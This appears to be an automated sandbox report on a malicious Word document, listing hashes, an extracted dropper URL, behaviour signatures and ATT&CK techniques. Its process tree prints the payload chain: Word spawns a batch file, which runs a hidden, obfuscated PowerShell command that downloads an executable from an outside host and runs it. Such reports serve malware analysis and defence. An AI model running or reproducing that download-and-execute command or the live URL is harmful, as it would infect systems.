Analysis

  • max time kernel
    145s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-04-2024 14:52

General

  • Target

    f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052.doc

  • Size

    496KB

  • MD5

    664104684583dcca00c6aa94b2d5e8ca

  • SHA1

    9b41eac0a97ab72885cd15e4d6beb93cfc55ae6d

  • SHA256

    f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052

  • SHA512

    aad9b61dd58fdb8e0c2bbcaf4da4e57fed86c59bfbeef4db91dbf9bc9b58aca98bd93f19c3ea27684c72bff5c8bb13efd4a1f7373db7fbe4954a87df1e3fa4ea

  • SSDEEP

    12288:w+ImtwTAC9FbeVlzxhSBEc4xcNUqws24z7rcr:w+qn9lANxhSSlmNPwsDPr

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://1833.site/rsm1975.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\seecenter.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1060
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w h Start-BitsTransfer -Source htt`p://1833.site/rsm1975.exe -Destination C:\Users\Public\Documents\newthank.exe;C:\Users\Public\Documents\newthank.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4004

Network

MITRE ATT&CK Matrix ATT&CK v13

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oubw0jzl.sbj.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Public\Documents\seecenter.bat
    Filesize

    166B

    MD5

    41f5c78a5340b70d2cf3c32f145091f0

    SHA1

    1c5fd0e35d67daf18ef2e3b9cead528479a2b9b9

    SHA256

    3e156dd87d1c9b6cf773b6ff6ede0afd73a0ac70299f4a6bd03fec32c4b611d5

    SHA512

    a8440001342996855cff18ccb2552c16e619754140bb4d091a63d6053547ad8a349dbf6fff211f765096efbcfea6d4afe87e44712f5225849808768ae40e9040

  • memory/1864-22-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-6-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-3-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-2-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmp
    Filesize

    64KB

  • memory/1864-4-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmp
    Filesize

    64KB

  • memory/1864-5-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmp
    Filesize

    64KB

  • memory/1864-41-0x0000019552290000-0x0000019553260000-memory.dmp
    Filesize

    15.8MB

  • memory/1864-7-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-8-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-9-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-10-0x00007FFE44440000-0x00007FFE44450000-memory.dmp
    Filesize

    64KB

  • memory/1864-45-0x0000019552290000-0x0000019553260000-memory.dmp
    Filesize

    15.8MB

  • memory/1864-12-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-13-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-14-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-16-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-17-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-15-0x00007FFE44440000-0x00007FFE44450000-memory.dmp
    Filesize

    64KB

  • memory/1864-18-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-19-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-38-0x0000019552290000-0x0000019553260000-memory.dmp
    Filesize

    15.8MB

  • memory/1864-21-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-0-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmp
    Filesize

    64KB

  • memory/1864-25-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-20-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-1-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmp
    Filesize

    64KB

  • memory/1864-11-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-46-0x0000019552290000-0x0000019553260000-memory.dmp
    Filesize

    15.8MB

  • memory/1864-73-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-74-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-75-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-104-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-105-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-103-0x00007FFE86B70000-0x00007FFE86D65000-memory.dmp
    Filesize

    2.0MB

  • memory/1864-102-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmp
    Filesize

    64KB

  • memory/1864-101-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmp
    Filesize

    64KB

  • memory/1864-76-0x0000019552290000-0x0000019553260000-memory.dmp
    Filesize

    15.8MB

  • memory/1864-77-0x0000019552290000-0x0000019553260000-memory.dmp
    Filesize

    15.8MB

  • memory/1864-78-0x0000019552290000-0x0000019553260000-memory.dmp
    Filesize

    15.8MB

  • memory/1864-99-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmp
    Filesize

    64KB

  • memory/1864-100-0x00007FFE46BF0000-0x00007FFE46C00000-memory.dmp
    Filesize

    64KB

  • memory/4004-61-0x000001C7EC000000-0x000001C7EC026000-memory.dmp
    Filesize

    152KB

  • memory/4004-57-0x00007FFE5A540000-0x00007FFE5B001000-memory.dmp
    Filesize

    10.8MB

  • memory/4004-58-0x000001C7EC030000-0x000001C7EC052000-memory.dmp
    Filesize

    136KB

  • memory/4004-59-0x000001C7EBDF0000-0x000001C7EBE00000-memory.dmp
    Filesize

    64KB

  • memory/4004-60-0x000001C7EBDF0000-0x000001C7EBE00000-memory.dmp
    Filesize

    64KB

  • memory/4004-62-0x000001C7EC080000-0x000001C7EC094000-memory.dmp
    Filesize

    80KB

  • memory/4004-64-0x000001C7EBDF0000-0x000001C7EBE00000-memory.dmp
    Filesize

    64KB

  • memory/4004-67-0x00007FFE5A540000-0x00007FFE5B001000-memory.dmp
    Filesize

    10.8MB